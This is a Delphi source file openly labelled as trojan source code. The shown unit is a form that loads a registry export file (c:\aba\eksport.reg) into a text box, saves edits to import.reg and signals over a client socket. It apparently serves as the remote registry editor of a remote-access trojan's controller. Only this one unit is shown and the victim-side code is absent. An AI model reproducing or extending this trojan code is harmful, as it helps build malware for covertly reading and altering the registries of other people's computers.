unit5.pas

New Trojan source delphi source code

unit Unit5;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  StdCtrls;

type
  TForm5 = class(TForm)
    Memo1: TMemo;
    Button1: TButton;
    procedure Button1Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form5: TForm5;

implementation

uses ClientUnit;

{$R *.DFM}

procedure TForm5.Button1Click(Sender: TObject);
begin
  if MessageDlg('Czy zapisac zmiany ?',mtConfirmation,mbOKCancel,0)=mrOK
 then  memo1.Lines.SaveToFile('c:\aba\import.reg');
 form1.ClientSocket1.Socket.SendText('123');
end;

procedure TForm5.FormCreate(Sender: TObject);
var plik:textfile;
    zaw1:string;
begin
memo1.Lines.Clear;
assignfile(plik,'c:\aba\eksport.reg');
reset(plik);
while not eof(plik) do
begin
  readln(plik,zaw1);
  memo1.Lines.Add(zaw1);
end;
closefile(plik);
end;

end.